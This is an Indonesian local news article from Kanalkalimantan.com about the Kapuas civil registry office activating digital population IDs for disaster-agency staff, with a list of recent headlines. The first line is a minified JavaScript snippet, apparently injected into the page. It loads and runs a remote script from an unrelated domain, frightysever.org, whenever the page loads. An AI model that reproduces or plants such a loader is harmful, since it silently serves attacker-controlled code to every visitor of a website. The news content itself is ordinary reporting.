(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Manfaatkan Layanan Aktivasi Identitas Kependudukan Digital Jemput Bola Disdukcapil Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Pegawai Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas antusias melakukan aktivasi Identitas Kependudukan Digital (IKD).

Mereka memanfaatkan layanam program jemput bola yang dilakukan Dinas Kependudukan dan Pencatatan Sipil (Dukcapil) Kabupaten Kapuas di kantor BPBD Kapuas, Jalan Kasturi, Kecamatan Selat, Selasa (9/5/2023).

Plt Kepala Disdukcapil Kapuas Sipie S Bungai mengatakan, jemput bola dilakukan untuk percepatan pelaksanaan penerapan IKD bagi seluruh Aparatur Sipil Negara (ASN) lingkup Pemkab Kapuas dan instansi vertikal di wilayah Kapuas.

Melalui kegiatan pelaksanaan layanan jemput bola terjadwal dari Disdukcapil Kabupaten Kapuas ke masing-masing SOPD di Kabupaten Kapuas ini, dapat memudahkan para pegawai.

Baca juga: Dua Kali Sidang Tuntutan Kasus Korupsi KONI Banjarbaru Ditunda, JPU Belum Siap

“Karena tanpa perlu mendatangi hingga antre ke kantor Disdukcapil Kapuas, sehingga masih bisa sambil bekerja atau memberikan pelayanan di kantor,” katanya, Selasa (9/5/2023) siang.

Dengan melakukan aktivasi IKD ini, lanjut dia terdapat beberapa manfaat yang didapatkan, diantaranya memudahkan verifikasi diri tanpa harus membawa KTP elektronik fisik, mempermudah pengaksesan pelayanan publik, serta mempermudah mengakses data anggota keluarga.

Dalam kegiatan, terlihat sebagian besar pegawai BPBD Kapuas bergantian untuk melakukan pendaftaran aplikasi melalui smartphone yang kemudian di-scan dan diverifikasi oleh petugas Disdukcapil dan akan diberikan pemberitahuan melalui email masing-masing untuk dapat diaktivasi.

Pihaknya juga mengharapkan kerja sama dari seluruh OPD maupun instansi vertikal agar dapat memfasilitasi tempat dan waktu saat Tim Disdukcapil nantinya melakukan aktivasi, sehinga penerapan IKD ini dapat terpenuhi untuk wilayah Kabupaten Kapuas. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

10 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

10 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

11 jam ago

This website uses cookies.